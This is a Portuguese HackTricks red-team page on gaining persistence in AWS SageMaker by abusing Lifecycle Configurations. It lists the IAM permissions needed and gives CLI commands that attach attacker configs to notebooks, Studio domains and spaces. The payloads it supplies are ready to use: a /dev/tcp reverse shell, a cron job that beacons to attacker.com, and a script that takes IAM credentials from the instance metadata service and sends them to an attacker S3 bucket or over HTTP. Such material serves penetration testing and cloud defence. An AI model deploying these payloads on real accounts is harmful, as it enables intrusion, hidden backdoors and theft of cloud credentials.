Aws Sagemaker Persistence

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Visão Geral das Técnicas de Persistência

Esta seção descreve métodos para obter persistência no SageMaker abusando das Configurações de Ciclo de Vida (LCCs), incluindo shells reversos, jobs cron, roubo de credenciais via IMDS e backdoors SSH. Esses scripts são executados com o papel IAM da instância e podem persistir entre reinicializações. A maioria das técnicas requer acesso à rede de saída, mas o uso de serviços no plano de controle da AWS ainda pode permitir sucesso se o ambiente estiver no modo "apenas VPC".

Nota: As instâncias de notebook do SageMaker são essencialmente instâncias EC2 gerenciadas configuradas especificamente para cargas de trabalho de aprendizado de máquina.

Permissões Necessárias

  • Instâncias de Notebook:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
  • Aplicações do Studio:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

Definir Configuração de Ciclo de Vida em Instâncias de Notebook

Exemplos de Comandos AWS CLI:

bash
# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

Definir Configuração de Ciclo de Vida no SageMaker Studio

As Configurações de Ciclo de Vida podem ser anexadas em vários níveis e a diferentes tipos de aplicativos dentro do SageMaker Studio.

Nível de Domínio do Studio (Todos os Usuários)

bash
# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Nível de Espaço do Estúdio (Espaços Individuais ou Compartilhados)

bash
# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Tipos de Configurações de Ciclo de Vida de Aplicativos do Studio

As configurações de ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicativos do SageMaker Studio:

  • JupyterServer: Executa scripts durante a inicialização do servidor Jupyter, ideal para mecanismos de persistência como shells reversos e jobs cron.
  • KernelGateway: Executa durante o lançamento do aplicativo de gateway de kernel, útil para configuração inicial ou acesso persistente.
  • CodeEditor: Aplica-se ao Editor de Código (Code-OSS), permitindo scripts que são executados no início das sessões de edição de código.

Comando de Exemplo para Cada Tipo:

JupyterServer

bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

CodeEditor

bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

Informações Críticas:

  • Anexar LCCs no nível de domínio ou espaço impacta todos os usuários ou aplicativos dentro do escopo.
  • Requer permissões mais altas (sagemaker:UpdateDomain, sagemaker:UpdateSpace) que geralmente são mais viáveis no nível de espaço do que no nível de domínio.
  • Controles em nível de rede (por exemplo, filtragem de egressos rigorosa) podem impedir shells reversos bem-sucedidos ou exfiltração de dados.

Shell Reverso via Configuração de Ciclo de Vida

As Configurações de Ciclo de Vida do SageMaker (LCCs) executam scripts personalizados quando as instâncias de notebook são iniciadas. Um atacante com permissões pode estabelecer um shell reverso persistente.

Exemplo de Payload:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Persistência de Cron Job via Configuração de Ciclo de Vida

Um atacante pode injetar cron jobs através de scripts LCC, garantindo a execução periódica de scripts ou comandos maliciosos, permitindo uma persistência discreta.

Exemplo de Payload:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Exfiltração de Credenciais via IMDS (v1 & v2)

As configurações de ciclo de vida podem consultar o Serviço de Metadados da Instância (IMDS) para recuperar credenciais IAM e exfiltrá-las para um local controlado pelo atacante.

Exemplo de Payload:

bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks